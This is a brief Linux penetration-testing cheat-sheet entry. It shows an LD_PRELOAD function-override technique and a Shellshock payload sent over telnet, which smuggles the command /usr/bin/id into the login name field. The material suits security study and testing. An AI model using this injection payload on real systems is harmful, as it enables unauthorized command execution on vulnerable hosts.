OS Linux Specific

LD_PRELOAD

  • Load a custom library and override functions of a program
g++ test.cpp -std=c++11 -shared -o test.so -fPIC  #PIC=Position independent code
LD_PRELOAD=test.so ldd ./exampleapp

Shellshock over Telnet

telnet 192.168.0.1 -l "() { :;}; /usr/bin/id"